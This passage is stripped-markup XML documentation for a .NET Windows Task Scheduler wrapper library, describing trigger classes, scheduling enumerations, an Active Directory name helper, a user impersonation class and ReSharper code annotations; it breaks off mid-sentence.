Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You 